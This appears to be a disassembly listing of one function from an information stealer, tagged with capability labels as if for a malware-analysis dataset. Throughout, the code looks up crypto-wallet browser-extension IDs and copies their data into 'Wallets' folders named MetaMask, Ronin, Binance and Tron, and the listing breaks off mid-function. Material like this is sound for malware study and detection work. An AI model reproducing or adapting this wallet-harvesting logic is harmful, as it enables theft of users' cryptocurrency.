Function at 0x445729
Capabilities:
Inspect section memory permissions
Parse pe header

Disassembly:
push 0x230
mov eax, 0x46fcf9
call fcn.0046c4ec
xor ebx, ebx
mov dword [ebp - 0x150], ebx
mov dword [ebp - 0x15c], ebx
mov dword [ebp - 0x160], ebx
mov dword [ebp - 0x154], ebx
mov dword [ebp - 0x158], ebx
mov dword [ebp - 0x180], ebx
mov dword [ebp - 4], ebx
lea edx, [ebp + 8]
mov byte [ebp - 0x164], bl
lea ecx, [ebp - 0x44]
push dword [ebp - 0x164]
call fcn.00452662
pop ecx
xor eax, eax
mov byte [ebp - 4], 1
inc eax
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x150], eax
call fcn.0043ff6d
test al, al
je 0x4457c8
mov byte [ebp - 0x164], bl
lea edx, [ebp + 8]
push dword [ebp - 0x164]
lea ecx, [ebp - 0x2c]
call fcn.00452662
pop ecx
push 3
pop eax
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x150], eax
call fcn.0043ffc6
test al, al
je 0x4457c8
mov bl, 1
mov eax, dword [ebp - 0x150]
test al, 2
je 0x4457e9
and eax, 0xfffffffd
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x150], eax
call fcn.00450c8d
mov eax, dword [ebp - 0x150]
and dword [ebp - 4], 0
test al, 1
je 0x445802
and eax, 0xfffffffe
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x150], eax
call fcn.00450c8d
test bl, bl
je 0x4474da
xor ebx, ebx
mov dword [ebp - 0x48], 0xf
mov dword [ebp - 0x4c], ebx
mov byte [ebp - 0x5c], bl
mov byte [ebp - 4], 4
lea edx, [ebp + 8]
mov byte [ebp - 0x164], bl
lea ecx, [ebp - 0x2c]
push dword [ebp - 0x164]
call fcn.00452662
pop ecx
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0x1f8]
call fcn.0043ff03
lea ecx, [ebp - 0x2c]
call fcn.00450c8d
lea eax, [ebp - 0x1f8]
push eax
lea ecx, [ebp - 0x17c]
call fcn.0044144e
mov edi, dword [ebp - 0x17c]
mov esi, dword [ebp - 0x178]
mov dword [ebp - 0x188], edi
mov dword [ebp - 0x184], esi
lea eax, [ebp - 0x1f8]
push eax
lea ecx, [ebp - 0x208]
call fcn.0044144e
mov ecx, dword [ebp - 0x204]
xorps xmm0, xmm0
movlpd qword [ebp - 0x200], xmm0
mov dword [ebp - 0x200], ebx
mov dword [ebp - 0x1fc], ebx
test ecx, ecx
je 0x4458b3
call fcn.0042a1eb
mov byte [ebp - 4], 9
cmp edi, dword [ebp - 0x200]
je 0x4474b8
mov ecx, edi
mov dword [ebp - 0x164], edi
mov dword [ebp - 0x168], edi
mov byte [ebp - 4], 0xa
call fcn.0043f855
cmp al, 1
jne 0x445bfc
lea eax, [ebp - 0x74]
add edi, 0x20
push eax
mov ecx, edi
call fcn.0043f245
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0xb
push ecx
mov ecx, eax
call fcn.0045137b
mov esi, dword [ebp - 0x150]
lea ecx, [ebp - 0x2c]
or esi, 0x20000
push str.nkbihfbeogaeaoehlefnkodbefgpgknn
mov dword [ebp - 0x150], esi
call fcn.00452304
lea ecx, [ebp - 0x2c]
mov bl, al
call fcn.00450a63
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0xa
call fcn.00450c8d
test bl, bl
je 0x445dd6
push ecx
lea eax, [ebp - 0x44]
mov ecx, edi
push eax
call fcn.0045137b
or esi, 0x100000
mov dword [ebp - 0x150], esi
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0xc
push eax
mov ecx, edi
call fcn.0045137b
or esi, 0x800000
mov dword [ebp - 0x150], esi
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x44]
mov eax, dword [ebp + 0x18]
push dword [ebp - 0x1c]
inc eax
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.004508aa
push eax
lea ecx, [ebp - 0x5c]
call fcn.00450a86
lea ecx, [ebp - 0x74]
call fcn.00450a63
lea ecx, [ebp - 0x2c]
call fcn.00450a63
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0xa
call fcn.00450a63
push ecx
push 0x47d4c0
lea ecx, [ebp - 0x5c]
call fcn.00450934
push eax
xor ebx, ebx
lea eax, [ebp - 0x74]
push ebx
push eax
lea ecx, [ebp - 0x5c]
call fcn.004508aa
push eax
lea ecx, [ebp - 0x5c]
call fcn.00450a86
lea ecx, [ebp - 0x74]
call fcn.00450a63
push ecx
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0xe
push eax
mov ecx, edi
call fcn.0045137b
or esi, 0x4000000
mov dword [ebp - 0x150], esi
mov byte [ebp - 0x1cc], bl
lea edx, [ebp - 0x44]
push dword [ebp - 0x1cc]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0xf
call fcn.00452662
pop ecx
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x10
push eax
lea ecx, [ebp - 0x1e0]
call fcn.0043fc13
lea ecx, [ebp - 0x2c]
call fcn.00450c8d
lea ecx, [ebp - 0x44]
call fcn.00450a63
lea eax, [ebp - 0x1e0]
push eax
lea ecx, [ebp - 0x1c8]
call fcn.0044144e
mov esi, dword [ebp - 0x1c8]
mov edi, dword [ebp - 0x1c4]
mov dword [ebp - 0x1c0], esi
mov dword [ebp - 0x1bc], edi
mov dword [ebp - 0x1c8], ebx
mov dword [ebp - 0x1c4], ebx
lea eax, [ebp - 0x1e0]
push eax
lea ecx, [ebp - 0x210]
call fcn.0044144e
mov ecx, dword [ebp - 0x20c]
xorps xmm0, xmm0
movlpd qword [ebp - 0x170], xmm0
mov dword [ebp - 0x170], ebx
mov dword [ebp - 0x16c], ebx
test ecx, ecx
je 0x445aa7
call fcn.0042a1eb
mov byte [ebp - 4], 0x15
cmp esi, ebx
je 0x445bd4
push ecx
lea eax, [ebp - 0x44]
push eax
lea ecx, [esi + 0x20]
call fcn.0045137b
or dword [ebp - 0x150], 0x80000000
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0xbc]
cmp dword [ebp - 0x30], 0x10
lea edi, [ebp - 0x44]
push eax
cmovae edi, dword [ebp - 0x44]
lea ecx, [esi + 0x20]
call fcn.0043f245
push ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x17
push ecx
mov ecx, eax
call fcn.0045137b
mov esi, dword [ebp - 0x15c]
or esi, 4
mov dword [ebp - 0x15c], esi
lea eax, [ebp - 0x5c]
mov byte [ebp - 4], 0x18
push eax
mov edx, str.Wallets_
lea ecx, [ebp - 0xd4]
call fcn.00451257
pop ecx
push str.MetaMask_
mov edx, eax
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x74]
call fcn.00451348
pop ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x1a
push ecx
push eax
push dword [ebp - 0x174]
lea ecx, [ebp - 0x2c]
call fcn.00452342
or esi, 0x20
mov dword [ebp - 0x15c], esi
mov byte [ebp - 4], 0x1b
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
mov ecx, dword [0x48726c]
cmovae edx, dword [ebp - 0x2c]
push 2
push ebx
push edi
call fcn.0042dc39
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.00450a63
lea ecx, [ebp - 0x74]
call fcn.00450a63
lea ecx, [ebp - 0xd4]
call fcn.00450a63
lea ecx, [ebp - 0x8c]
call fcn.00450a63
lea ecx, [ebp - 0xbc]
call fcn.00450c8d
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x15
call fcn.00450a63
lea ecx, [ebp - 0x1c0]
call fcn.0043fc56
mov edi, dword [ebp - 0x1bc]
mov esi, dword [ebp - 0x1c0]
jmp 0x445aab
test edi, edi
je 0x445bdf
mov ecx, edi
call fcn.0042a1eb
mov ecx, dword [ebp - 0x1dc]
test ecx, ecx
je 0x445bee
call fcn.0042a1eb
mov byte [0x48726a], 1
mov dword [ebp - 4], 0xa
mov edi, dword [ebp - 0x164]
mov ecx, edi
call fcn.0043f855
test al, al
jne 0x44748f
mov eax, dword [0x487270]
add edi, 0x20
mov ecx, edi
mov dword [ebp - 0x164], edi
mov esi, dword [eax]
lea eax, [ebp - 0x74]
push eax
call fcn.0043f245
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x53
push ecx
mov ecx, eax
call fcn.0045137b
or dword [ebp - 0x154], 0x20
lea ecx, [ebp - 0x2c]
push esi
call fcn.00452304
lea ecx, [ebp - 0x2c]
mov bl, al
call fcn.00450a63
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0xa
call fcn.00450c8d
test bl, bl
je 0x446742
push ecx
lea eax, [ebp - 0x44]
mov ecx, edi
push eax
call fcn.0045137b
mov esi, dword [ebp - 0x154]
or esi, 0x100
mov dword [ebp - 0x154], esi
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x54
push eax
mov ecx, edi
call fcn.0045137b
or esi, 0x800
mov dword [ebp - 0x154], esi
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x44]
mov eax, dword [ebp + 0x18]
push dword [ebp - 0x1c]
inc eax
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.004508aa
push eax
lea ecx, [ebp - 0x5c]
call fcn.00450a86
lea ecx, [ebp - 0x74]
call fcn.00450a63
lea ecx, [ebp - 0x2c]
call fcn.00450a63
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0xa
call fcn.00450a63
push ecx
push 0x47d4c0
lea ecx, [ebp - 0x5c]
call fcn.00450934
push eax
xor ebx, ebx
lea eax, [ebp - 0x74]
push ebx
push eax
lea ecx, [ebp - 0x5c]
call fcn.004508aa
push eax
lea ecx, [ebp - 0x5c]
call fcn.00450a86
lea ecx, [ebp - 0x74]
call fcn.00450a63
sub esp, 0x18
lea eax, [ebp - 0x5c]
mov ecx, esp
mov dword [ebp - 0x168], esp
push eax
call fcn.00450b37
push 0x47d4c0
lea edx, [ebp + 8]
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0x74]
call fcn.004512f8
pop ecx
sub esp, 0x18
mov byte [ebp - 4], 0x57
lea edx, [ebp - 0x5c]
mov ecx, esp
push edx
mov edx, eax
call fcn.0045166b
pop ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x58
call fcn.00443c33
add esp, 0x30
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x5a
call fcn.00450a63
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x168], esp
mov dword [ebp - 0x164], eax
push ecx
push eax
mov ecx, edi
call fcn.0045137b
or esi, 0x4000
mov dword [ebp - 0x154], esi
sub esp, 0x18
mov byte [ebp - 4], 0x5b
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x164], esp
mov ecx, esp
push eax
call fcn.00450b37
sub esp, 0x18
mov byte [ebp - 4], 0x5c
lea eax, [ebp - 0x8c]
mov ecx, esp
push eax
call fcn.00450b37
xor ecx, ecx
mov byte [ebp - 4], 0x5a
inc ecx
jmp 0x446c7a
lea eax, [ebp - 0x74]
mov ecx, edi
push eax
call fcn.0043f245
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x1d
push ecx
mov ecx, eax
call fcn.0045137b
mov esi, dword [ebp - 0x15c]
lea ecx, [ebp - 0x2c]
or esi, 0x40
push str.fnjhmkhhmkbjkkabndcnnogagogbneec
mov dword [ebp - 0x15c], esi
call fcn.00452304
lea ecx, [ebp - 0x2c]
mov bl, al
call fcn.00450a63
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0xa
call fcn.00450c8d
test bl, bl
je 0x446100
push ecx
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x1e
push eax
mov ecx, edi
call fcn.0045137b
or esi, 0x200
mov dword [ebp - 0x15c], esi
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x1f
push eax
mov ecx, edi
call fcn.0045137b
or esi, 0x1000
mov dword [ebp - 0x15c], esi
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x44]
mov eax, dword [ebp + 0x18]
push dword [ebp - 0x1c]
inc eax
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.004508aa
push eax
lea ecx, [ebp - 0x5c]
call fcn.00450a86
lea ecx, [ebp - 0x74]
call fcn.00450a63
lea ecx, [ebp - 0x2c]
call fcn.00450a63
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x1e
call fcn.00450a63
push ecx
push 0x47d4c0
lea ecx, [ebp - 0x5c]
call fcn.00450934
push eax
xor ebx, ebx
lea eax, [ebp - 0x74]
push ebx
push eax
lea ecx, [ebp - 0x5c]
call fcn.004508aa
push eax
lea ecx, [ebp - 0x5c]
call fcn.00450a86
lea ecx, [ebp - 0x74]
call fcn.00450a63
push ecx
lea eax, [ebp - 0x44]
mov ecx, edi
push eax
call fcn.0045137b
or esi, 0x8000
mov dword [ebp - 0x15c], esi
mov byte [ebp - 0x1d0], bl
lea edx, [ebp - 0x44]
push dword [ebp - 0x1d0]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x21
call fcn.00452662
pop ecx
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x22
push eax
lea ecx, [ebp - 0x1e8]
call fcn.0043fc13
lea ecx, [ebp - 0x2c]
call fcn.00450c8d
lea ecx, [ebp - 0x44]
call fcn.00450a63
lea eax, [ebp - 0x1e8]
push eax
lea ecx, [ebp - 0x1b8]
call fcn.0044144e
mov esi, dword [ebp - 0x1b8]
mov edi, dword [ebp - 0x1b4]
mov dword [ebp - 0x1b0], esi
mov dword [ebp - 0x1ac], edi
mov dword [ebp - 0x1b8], ebx
mov dword [ebp - 0x1b4], ebx
lea eax, [ebp - 0x1e8]
push eax
lea ecx, [ebp - 0x218]
call fcn.0044144e
mov ecx, dword [ebp - 0x214]
xorps xmm0, xmm0
movlpd qword [ebp - 0x170], xmm0
mov dword [ebp - 0x170], ebx
mov dword [ebp - 0x16c], ebx
test ecx, ecx
je 0x445f95
call fcn.0042a1eb
mov byte [ebp - 4], 0x27
cmp esi, ebx
je 0x4460cf
push ecx
lea eax, [ebp - 0x44]
push eax
lea ecx, [esi + 0x20]
call fcn.0045137b
mov eax, dword [ebp - 0x15c]
or eax, 0x100000
mov dword [ebp - 0x15c], eax
mov byte [ebp - 4], 0x28
lea eax, [ebp - 0xbc]
cmp dword [ebp - 0x30], 0x10
lea edi, [ebp - 0x44]
push eax
cmovae edi, dword [ebp - 0x44]
lea ecx, [esi + 0x20]
call fcn.0043f245
push ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x29
push ecx
mov ecx, eax
call fcn.0045137b
mov esi, dword [ebp - 0x15c]
or esi, 0x800000
mov dword [ebp - 0x15c], esi
lea eax, [ebp - 0x5c]
mov byte [ebp - 4], 0x2a
push eax
mov edx, str.Wallets_
lea ecx, [ebp - 0xd4]
call fcn.00451257
pop ecx
push str.Ronin_
mov edx, eax
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x74]
call fcn.00451348
pop ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x2c
push ecx
push eax
push dword [ebp - 0x174]
lea ecx, [ebp - 0x2c]
call fcn.00452342
or esi, 0x4000000
mov dword [ebp - 0x15c], esi
mov byte [ebp - 4], 0x2d
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
mov ecx, dword [0x48726c]
cmovae edx, dword [ebp - 0x2c]
push 2
push ebx
push edi
call fcn.0042dc39
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.00450a63
lea ecx, [ebp - 0x74]
call fcn.00450a63
lea ecx, [ebp - 0xd4]
call fcn.00450a63
lea ecx, [ebp - 0x8c]
call fcn.00450a63
lea ecx, [ebp - 0xbc]
call fcn.00450c8d
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x27
call fcn.00450a63
lea ecx, [ebp - 0x1b0]
call fcn.0043fc56
mov edi, dword [ebp - 0x1ac]
mov esi, dword [ebp - 0x1b0]
jmp 0x445f99
test edi, edi
je 0x4460da
mov ecx, edi
call fcn.0042a1eb
mov ecx, dword [ebp - 0x1e4]
test ecx, ecx
je 0x4460e9
call fcn.0042a1eb
mov byte [0x487236], 1
jmp 0x445bf5
lea eax, [ebp - 0x74]
mov ecx, edi
push eax
call fcn.0043f245
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x2f
push ecx
mov ecx, eax
call fcn.0045137b
or esi, 0x8000000
lea ecx, [ebp - 0x2c]
push str.fhbohimaelbohpjbbldcngcnapndodjp
mov dword [ebp - 0x15c], esi
call fcn.00452304
lea ecx, [ebp - 0x2c]
mov bl, al
call fcn.00450a63
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0xa
call fcn.00450c8d
test bl, bl
je 0x446427
push ecx
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x30
push eax
mov ecx, edi
call fcn.0045137b
or esi, 0x40000000
mov dword [ebp - 0x15c], esi
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x31
push eax
mov ecx, edi
call fcn.0045137b
mov esi, dword [ebp - 0x160]
or esi, 2
mov dword [ebp - 0x160], esi
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x44]
mov eax, dword [ebp + 0x18]
push dword [ebp - 0x1c]
inc eax
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.004508aa
push eax
lea ecx, [ebp - 0x5c]
call fcn.00450a86
lea ecx, [ebp - 0x74]
call fcn.00450a63
lea ecx, [ebp - 0x2c]
call fcn.00450a63
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x30
call fcn.00450a63
push ecx
push 0x47d4c0
lea ecx, [ebp - 0x5c]
call fcn.00450934
push eax
xor ebx, ebx
lea eax, [ebp - 0x74]
push ebx
push eax
lea ecx, [ebp - 0x5c]
call fcn.004508aa
push eax
lea ecx, [ebp - 0x5c]
call fcn.00450a86
lea ecx, [ebp - 0x74]
call fcn.00450a63
push ecx
lea eax, [ebp - 0x44]
mov ecx, edi
push eax
call fcn.0045137b
or esi, 0x10
mov dword [ebp - 0x160], esi
mov byte [ebp - 0x1d4], bl
lea edx, [ebp - 0x44]
push dword [ebp - 0x1d4]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x33
call fcn.00452662
pop ecx
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x34
push eax
lea ecx, [ebp - 0x1f0]
call fcn.0043fc13
lea ecx, [ebp - 0x2c]
call fcn.00450c8d
lea ecx, [ebp - 0x44]
call fcn.00450a63
lea eax, [ebp - 0x1f0]
push eax
lea ecx, [ebp - 0x1a8]
call fcn.0044144e
mov esi, dword [ebp - 0x1a8]
mov edi, dword [ebp - 0x1a4]
mov dword [ebp - 0x1a0], esi
mov dword [ebp - 0x19c], edi
mov dword [ebp - 0x1a8], ebx
mov dword [ebp - 0x1a4], ebx
lea eax, [ebp - 0x1f0]
push eax
lea ecx, [ebp - 0x220]
call fcn.0044144e
mov ecx, dword [ebp - 0x21c]
xorps xmm0, xmm0
movlpd qword [ebp - 0x170], xmm0
mov dword [ebp - 0x170], ebx
mov dword [ebp - 0x16c], ebx
test ecx, ecx
je 0x4462bc
call fcn.0042a1eb
mov byte [ebp - 4], 0x39
cmp esi, ebx
je 0x4463f6
push ecx
lea eax, [ebp - 0x44]
push eax
lea ecx, [esi + 0x20]
call fcn.0045137b
mov eax, dword [ebp - 0x160]
or eax, 0x200
mov dword [ebp - 0x160], eax
mov byte [ebp - 4], 0x3a
lea eax, [ebp - 0xbc]
cmp dword [ebp - 0x30], 0x10
lea edi, [ebp - 0x44]
push eax
cmovae edi, dword [ebp - 0x44]
lea ecx, [esi + 0x20]
call fcn.0043f245
push ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x3b
push ecx
mov ecx, eax
call fcn.0045137b
mov esi, dword [ebp - 0x160]
or esi, 0x1000
mov dword [ebp - 0x160], esi
lea eax, [ebp - 0x5c]
mov byte [ebp - 4], 0x3c
push eax
mov edx, str.Wallets_
lea ecx, [ebp - 0xd4]
call fcn.00451257
pop ecx
push str.Binance_
mov edx, eax
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x74]
call fcn.00451348
pop ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x3e
push ecx
push eax
push dword [ebp - 0x174]
lea ecx, [ebp - 0x2c]
call fcn.00452342
or esi, 0x8000
mov dword [ebp - 0x160], esi
mov byte [ebp - 4], 0x3f
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
mov ecx, dword [0x48726c]
cmovae edx, dword [ebp - 0x2c]
push 2
push ebx
push edi
call fcn.0042dc39
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.00450a63
lea ecx, [ebp - 0x74]
call fcn.00450a63
lea ecx, [ebp - 0xd4]
call fcn.00450a63
lea ecx, [ebp - 0x8c]
call fcn.00450a63
lea ecx, [ebp - 0xbc]
call fcn.00450c8d
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x39
call fcn.00450a63
lea ecx, [ebp - 0x1a0]
call fcn.0043fc56
mov edi, dword [ebp - 0x19c]
mov esi, dword [ebp - 0x1a0]
jmp 0x4462c0
test edi, edi
je 0x446401
mov ecx, edi
call fcn.0042a1eb
mov ecx, dword [ebp - 0x1ec]
test ecx, ecx
je 0x446410
call fcn.0042a1eb
mov byte [0x48724e], 1
jmp 0x445bf5
lea eax, [ebp - 0x74]
mov ecx, edi
push eax
call fcn.0043f245
push ecx
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x41
push ecx
mov ecx, eax
call fcn.0045137b
mov esi, dword [ebp - 0x160]
lea ecx, [ebp - 0x2c]
or esi, 0x10000
push str.ibnejdfjmmkpcnlpebklmnkoeoihofec
mov dword [ebp - 0x160], esi
call fcn.00452304
lea ecx, [ebp - 0x2c]
mov bl, al
call fcn.00450a63
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0xa
call fcn.00450c8d
test bl, bl
je 0x445bfc
push ecx
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x42
push eax
mov ecx, edi
call fcn.0045137b
or esi, 0x80000
mov dword [ebp - 0x160], esi
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x43
push eax
mov ecx, edi
call fcn.0045137b
or esi, 0x400000
mov dword [ebp - 0x160], esi
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x44]
mov eax, dword [ebp + 0x18]
push dword [ebp - 0x1c]
inc eax
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.004508aa
push eax
lea ecx, [ebp - 0x5c]
call fcn.00450a86
lea ecx, [ebp - 0x74]
call fcn.00450a63
lea ecx, [ebp - 0x2c]
call fcn.00450a63
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x42
call fcn.00450a63
push ecx
push 0x47d4c0
lea ecx, [ebp - 0x5c]
call fcn.00450934
push eax
xor ebx, ebx
lea eax, [ebp - 0x74]
push ebx
push eax
lea ecx, [ebp - 0x5c]
call fcn.004508aa
push eax
lea ecx, [ebp - 0x5c]
call fcn.00450a86
lea ecx, [ebp - 0x74]
call fcn.00450a63
push ecx
lea eax, [ebp - 0x44]
mov ecx, edi
push eax
call fcn.0045137b
or esi, 0x2000000
mov dword [ebp - 0x160], esi
mov byte [ebp - 0x1d8], bl
lea edx, [ebp - 0x44]
push dword [ebp - 0x1d8]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x45
call fcn.00452662
pop ecx
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x46
push eax
lea ecx, [ebp - 0x17c]
call fcn.0043fc13
lea ecx, [ebp - 0x2c]
call fcn.00450c8d
lea ecx, [ebp - 0x44]
call fcn.00450a63
lea eax, [ebp - 0x17c]
push eax
lea ecx, [ebp - 0x198]
call fcn.0044144e
mov esi, dword [ebp - 0x198]
mov edi, dword [ebp - 0x194]
mov dword [ebp - 0x190], esi
mov dword [ebp - 0x18c], edi
mov dword [ebp - 0x198], ebx
mov dword [ebp - 0x194], ebx
lea eax, [ebp - 0x17c]
push eax
lea ecx, [ebp - 0x228]
call fcn.0044144e
mov ecx, dword [ebp - 0x224]
xorps xmm0, xmm0
movlpd qword [ebp - 0x170], xmm0
mov dword [ebp - 0x170], ebx
mov dword [ebp - 0x16c], ebx
test ecx, ecx
je 0x4465e9
call fcn.0042a1eb
mov byte [ebp - 4], 0x4b
cmp esi, ebx
je 0x446716
push ecx
lea eax, [ebp - 0x44]
push eax
lea ecx, [esi + 0x20]
call fcn.0045137b
or dword [ebp - 0x160], 0x40000000
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0xbc]
cmp dword [ebp - 0x30], 0x10
lea edi, [ebp - 0x44]
push eax
cmovae edi, dword [ebp - 0x44]
lea ecx, [esi + 0x20]
call fcn.0043f245
push ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x4d
push ecx
mov ecx, eax
call fcn.0045137b
mov esi, dword [ebp - 0x154]
or esi, 2
mov dword [ebp - 0x154], esi
lea eax, [ebp - 0x5c]
mov byte [ebp - 4], 0x4e
push eax
mov edx, str.Wallets_
lea ecx, [ebp - 0xd4]
call fcn.00451257
pop ecx
push str.Tron_
mov edx, eax
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x74]
call fcn.00451348
pop ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 0x50
push ecx
push eax
push dword [ebp - 0x174]
lea ecx, [ebp - 0x2c]
call fcn.00452342
or esi, 0x10
mov dword [ebp - 0x154], esi
mov byte [ebp - 4], 0x51
lea edx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
mov ecx, dword [0x48726c]
cmovae edx, dword [ebp - 0x2c]
push 2
push ebx
push edi
call fcn.0042dc39
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.00450a63
lea ecx, [ebp - 0x74]
call fcn.00450a63
lea ecx, [ebp - 0xd4]
call fcn.00450a63
lea ecx, [ebp - 0x8c]
call fcn.00450a63
lea ecx, [ebp - 0xbc]
call fcn.00450c8d
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x4b
call fcn.00450a63
lea ecx, [ebp - 0x190]
call fcn.0043fc56
mov edi, dword [ebp - 0x18c]
mov esi, dword [ebp - 0x190]
jmp 0x4465ed
test edi, edi
je 0x446721
mov ecx, edi
call fcn.0042a1eb
mov ecx, dword [ebp - 0x178]
test ecx, ecx
je 0x446730
call fcn.0042a1eb
mov byte [0x487229], 1
jmp 0x445bf5
mov eax, dword [0x487270]
mov ecx, edi
mov esi, dword [eax + 4]
lea eax, [ebp - 0xd4]
push eax
call fcn.0043f245
push ecx
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x44]
mov ebx, dword [ebp - 0x150]
push ecx
or ebx, 4
mov ecx, eax
mov dword [ebp - 0x150], ebx
call fcn.0045137b
or dword [ebp - 0x154], 0x20000
mov dword [ebp - 4], 0x5e
lea ecx, [ebp - 0x44]
or ebx, 8
push esi
mov dword [ebp - 0x150], ebx
call fcn.00452304
test al, al
jne 0x4467f1
mov eax, dword [0x487270]
mov ecx, edi
mov esi, dword [eax + 8]
lea eax, [ebp - 0x74]
push eax
call fcn.0043f245
push ecx
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0x5f
push ecx
or ebx, 0x10
mov ecx, eax
mov dword [ebp - 0x150], ebx
call fcn.0045137b
or dword [ebp - 0x154], 0x100000
lea ecx, [ebp - 0x2c]
or ebx, 0x20
push esi
mov dword [ebp - 0x150], ebx
call fcn.00452304
test al, al
jne 0x4467f1
xor bl, bl
jmp 0x4467f3
mov bl, 1
mov eax, dword [ebp - 0x150]
test al, 0x20
je 0x446814
and eax, 0xffffffdf
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x150], eax
call fcn.00450a63
mov eax, dword [ebp - 0x150]
test al, 0x10
je 0x44682f
and eax, 0xffffffef
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x150], eax
call fcn.00450c8d
mov eax, dword [ebp - 0x150]
test al, 8
je 0x44684a
and eax, 0xfffffff7
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x150], eax
call fcn.00450a63
mov eax, dword [ebp - 0x150]
mov dword [ebp - 4], 0xa
test al, 4
je 0x446869
and eax, 0xfffffffb
lea ecx, [ebp - 0xd4]
mov dword [ebp - 0x150], eax
call fcn.00450c8d
mov esi, dword [ebp - 0x168]
add esi, 0x20
test bl, bl
je 0x4469d5
push ecx
lea eax, [ebp - 0x44]
mov ecx, esi
push eax
call fcn.0045137b
mov ebx, dword [ebp - 0x154]
or ebx, 0x800000
mov dword [ebp - 0x154], ebx
push ecx
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0x60
push eax
mov ecx, esi
call fcn.0045137b
or ebx, 0x4000000
mov dword [ebp - 0x154], ebx
mov byte [ebp - 4], 0x61
lea ecx, [ebp - 0x44]
mov eax, dword [ebp + 0x18]
push dword [ebp - 0x1c]
inc eax
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.004508aa
push eax
lea ecx, [ebp - 0x5c]
call fcn.00450a86
lea ecx, [ebp - 0x74]
call fcn.00450a63
lea ecx, [ebp - 0x2c]
call fcn.00450a63
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0xa
call fcn.00450a63
push ecx
mov esi, 0x47d4c0
lea ecx, [ebp - 0x5c]
push esi
call fcn.00450934
push eax
xor ebx, ebx
